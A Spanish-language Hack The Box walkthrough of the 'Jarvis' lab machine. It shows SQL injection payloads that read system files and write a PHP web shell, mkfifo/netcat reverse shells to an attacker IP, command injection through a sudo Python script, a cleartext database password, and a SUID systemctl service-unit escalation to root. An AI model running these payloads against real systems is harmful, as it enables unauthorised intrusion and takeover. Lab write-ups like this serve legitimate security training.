Jarvis

Publicado: 21 de Mayo de 2025 Autor: José Miguel Romero aKa x3m1Sec Dificultad: ⭐ Medium
📝 Descripción
Jarvis es una máquina Linux de dificultad media en Hack The Box. El objetivo principal es explotar una vulnerabilidad de inyección SQL en una aplicación web de un hotel para conseguir acceso inicial como usuario www-data. Posteriormente, se requiere escalar privilegios a través de un script Python vulnerable para alcanzar el usuario pepper, y finalmente abusar de un binario SUID (systemctl) para obtener acceso como root.
La máquina destaca por la implementación de un sitio web de gestión hotelera con una vulnerabilidad clásica de SQLi, un ejemplo interesante de escalada horizontal a través de un script con filtros imperfectos, y una escalada vertical mediante el abuso de binarios con permisos especiales.
Puntos clave:
Explotación de SQLi para lectura/escritura de archivos
Pivotaje entre usuarios aprovechando configuraciones incorrectas de sudo
Abuso de binarios SUID para alcanzar privilegios de root
🔭 Reconocimiento
Ping para verificación en base a TTL
❯ ping -c2 10.10.10.143
PING 10.10.10.143 (10.10.10.143) 56(84) bytes of data.
64 bytes from 10.10.10.143: icmp_seq=1 ttl=63 time=51.5 ms
64 bytes from 10.10.10.143: icmp_seq=2 ttl=63 time=46.0 ms
--- 10.10.10.143 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1002ms
rtt min/avg/max/mdev = 45.958/48.735/51.512/2.777 ms
💡 Nota: El TTL cercano a 64 sugiere que probablemente sea una máquina Linux.
Escaneo de puertos
ports=$(nmap -p- --min-rate=1000 -T4 10.10.10.143 | grep ^[0-9] | cut -d '/' -f1 | tr '\n' ',' | sed s/,$//)
echo $ports
22,80,64999
Enumeración de servicios
nmap -sC -sV -p$ports 10.10.10.143 -oN services.txt
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-21 09:05 CEST
Nmap scan report for 10.10.10.143
Host is up (0.047s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
| ssh-hostkey:
| 2048 03:f3:4e:22:36:3e:3b:81:30:79:ed:49:67:65:16:67 (RSA)
| 256 25:d8:08:a8:4d:6d:e8:d2:f8:43:4a:2c:20:c8:5a:f6 (ECDSA)
|_ 256 77:d4:ae:1f:b0:be:15:1f:f8:cd:c8:15:3a:c3:69:e1 (ED25519)
80/tcp open http Apache httpd 2.4.25 ((Debian))
|_http-server-header: Apache/2.4.25 (Debian)
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-title: Stark Hotel
64999/tcp open http Apache httpd 2.4.25 ((Debian))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.25 (Debian)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

⚠️ Importante: Detectamos durante la fase de enumeración con nmap que se está realizando virtual hosting. Debemos añadir el siguiente vhost a nuestro fichero /etc/hosts
echo "10.10.10.143 supersecurehotel.htb" | sudo tee -a /etc/hosts
🌐 Enumeración Web
64999 HTTP
http://supersecurehotel.htb:64999/

Aparte de este banner, no hay nada interesante.
80 HTTP
http://supersecurehotel.htb

Fuzzing de directorios
Feroxbuster
feroxbuster -u http://supersecurehotel.htb -r -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt --scan-dir-listings -C 404 -x php,xml

Dirsearch
dirsearch -u http://10.10.10.143

Gobuster
gobuster dir -u http://supersecurehotel.htb -w /usr/share/seclists/Discovery/Web-Content/common.txt -b 403,404,502 -x .php, .txt, .xml -r

Me gusta probar siempre varias herramientas para luego poner en conjunción los resultados. Aquí parece que hay un recurso importante a analizar y es /phpmyadmin
http://supersecurehotel.htb/phpmyadmin/

Probamos las credenciales por defecto root:admin sin éxito.
Enumeramos la versión gracias al fichero README
http://supersecurehotel.htb/phpmyadmin/README

También enumeramos un fichero de changelog en el que se indican los cambios que han sido aplicados en cada versión, siendo la 4.8.0 la última:
http://supersecurehotel.htb/phpmyadmin/ChangeLog

Verificamos que la versión 4.8.0 de phpmyadmin podría ser vulnerable a Cross site request forgery:
https://www.exploit-db.com/exploits/44496

Aunque pronto verificamos que no nos sirve.
💻 Explotación (SQLi)
Seguimos enumerando el sitio web, no tiene mucho donde rascar excepto en la sección de reserva de habitaciones:
Verificamos si el parámetro GET cod
podría ser vulnerable a SQLi
http://supersecurehotel.htb/room.php?cod=2

Introducimos simplemente una comilla en la petición y vemos que la respuesta se ve afectada:
http://supersecurehotel.htb/room.php?cod=1'
Realizamos esta petición cod=1+and+1=1 y observamos que se recupera la información de la habitación, lo cual nos indica que el parámetro es vulnerable a inyección SQL.
El siguiente paso será determinar el número de columnas de la consulta, asíque vamos probando:
cod=1+union+select+1
cod=1+union+select+1,2
cod=1+union+select+1,2,3
cod=1+union+select+1,2,3,4
cod=1+union+select+1,2,3,4,5
cod=1+union+select+1,2,3,4,5,6
cod=1+union+select+1,2,3,4,5,6,7

cod=1+union+select+1,2,3,4,5,6,7,8
Determinamos que hay 7 columnas porque cuando introducimos 8 ya no recibimos la respuesta correcta.
Ahora realizamos la inyección para determinar el usuario:
cod=-2+union+select+1,user(),3,4,5,6,7+--+-

Ahora realizamos la inyección para determinar el nombre de la base de datos:
cod=-2+union+select+1,datbase(),3,4,5,6,7+--+-

Verificamos si podemos leer archivos a través de esta vulnerabilidad:
cod=-2+union+select+1,load_file("/etc/passwd"),3,4,5,6,7+--+-
![[Writeups/HTB/Road to OSCP/Lainkusanagi OSCP/Jarvis/Pasted image 20250521111537.png]]

daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
_apt:x:104:65534::/nonexistent:/bin/false
messagebus:x:105:110::/var/run/dbus:/bin/false
pepper:x:1000:1000:,,,:/home/pepper:/bin/bash
mysql:x:106:112:MySQL Server,,,:/nonexistent:/bin/false
sshd:x:107:65534::/run/sshd:/usr/sbin/nologin
Verificamos si podemos subir archivos al sistema
cod=-2+union+select+1,"pentesting",3,4,5,6,7+into+outfile+"/var/www/html/test.txt"+--+-
Ahora abrimos la dirección:
http://supersecurehotel.htb/test.txt
Y verificamos que se ha subido correctamente:
![[Writeups/HTB/Road to OSCP/Lainkusanagi OSCP/Jarvis/Pasted image 20250521112126.png]]

Foothold
Con esta información, ahora podemos intentar subir una php shell mediante nuestra inyección sql:

Verificamos la php shell que hemos subido:
http://supersecurehotel.htb/shell.php?cmd=id

Ahora podríamos conectarnos a nuestro host usando el siguiente payload
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.8 1234 >/tmp/f
Pero antes debemos codificarlo a URL:
https://www.urlencoder.org/es/
rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fsh%20-i%202%3E%261%7Cnc%2010.10.14.8%201234%20%3E%2Ftmp%2Ff
http://supersecurehotel.htb/shell.php?cmd=rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fsh%20-i%202%3E%261%7Cnc%2010.10.14.8%201234%20%3E%2Ftmp%2Ff
nc -nlvp 1234
Ganamos acceso al host como usuario www-data:
Mejoramos la shell
script /dev/null -c bash
CTRL + Z
stty raw -echo; fg
reset xterm
export TERM=xterm
Intentamos obtener la primera flag pero no tenemos permisos:
www-data@jarvis:/home/pepper$ ls
Web user.txt
www-data@jarvis:/home/pepper$ cat user.txt
cat: user.txt: Permission denied
Escalando a usuario pepper
Verificamos si hay algún usuario que pueda ejecutar algún binario o script como sudo:
www-data@jarvis:/home/pepper$ sudo -l
Matching Defaults entries for www-data on jarvis:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User www-data may run the following commands on jarvis:
(pepper : ALL) NOPASSWD: /var/www/Admin-Utilities/simpler.py
www-data@jarvis:/home/pepper$
Intentamos ejecutar este script en python como usuario pepper y vemos las opciones:
sudo -u pepper /var/www/Admin-Utilities/simpler.py -h

Analizando el código del script vemos que una de las opciones puede ser interesante, ya que se está usando al opción -pf para realizar un ping y estoy hace una llamada a os.system, por lo que si pasamos como comando /bin/bash podremos obtener una shell como pepper:

Probamos el comando ping:
sudo -u pepper /var/www/Admin-Utilities/simpler.py -p

Como vemos que hay algunos caracteres que se están filtrando, vamos a crear un archivo con una reverse shell usando netcat -e para habilitar el reconocimiento de secuencias de escape, como , , etc
echo -e '#!/bin/bash\nnc -e /bin/bash 10.10.14.8 4444' > /tmp/revshell.sh
nc -nlvp 4444
Lanzamos ahora el comando y cuando nos pida la IP introducimos de la siguiente forma la ruta a nuestra reverse shell:
sudo -u pepper /var/www/Admin-Utilities/simpler.py -p
$(/tmp/revshell.sh)
![[Writeups/HTB/Road to OSCP/Lainkusanagi OSCP/Jarvis/Pasted image 20250521120419.png]]

Recibimos la reverse shell como usuario pepper y obtenemos la primera flag:

👑 Escalada de privilegios
Verificamos servicios en ejecución, vemos que hay una base de datos mysql aunque esto ya lo sabíamos por nuestra enumeración mediante la inyección sql:
ss -tulnp

Encontramos un fichero de conexión a la base de datos con las credenciales en texto claro. Tiene bastante buena pinta porque ya habíamos onbtenido el usuario DbAdmin y la base de datos hotel durante la inyección SQL:

Nos conectamos a la base de datos:
mysql -u DBadmin -h localhost -pimissyou
show databases;
use mysql;
show tables;
No encontramos nada que nos permita escalar privilegios.
Verificamos archivos con SUID:
pepper@jarvis:/var/www/html/phpmyadmin$ find / -perm -4000 2>/dev/null
/bin/fusermount
/bin/mount
/bin/ping
/bin/systemctl
/bin/umount
/bin/su
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/chsh
/usr/bin/sudo
/usr/bin/chfn
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
El de systemctl puede ser interesante

Encontramos información en gtfobins sobre como podemos abusar de este binario para escalar privilegios:
https://gtfobins.github.io/gtfobins/systemctl/#suid
Nos movemos al directorio /home/pepper y ejecutamos lo siguiente:
echo '[Service]
Type=oneshot
ExecStart=/bin/sh -c "/home/pepper/shell.sh"
[Install]
WantedBy=multi-user.target' > vulnerable.service
Creamos el enlace al servicio vulnerable:
pepper@jarvis:~$ systemctl link /home/pepper/vulnerable.service
Created symlink /etc/systemd/system/vulnerable.service -> /home/pepper/vulnerable.service.
Esto creará un servicio que cuando lo invoquemos ejecutará un script que creamos en el directorio /home/pepper que será una reverse shell a nuestro host de ataque:
El contenido de shell.sh será el siguiente:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.8 5555 >/tmp/f
Iniciamos un listener en nuestro host de ataque:
nc -nlvp 5555
Lanzamos el servicio
systemctl start vulnerable
Obtenemos acceso remoto al host como root y obtenemos la flag:

Last updated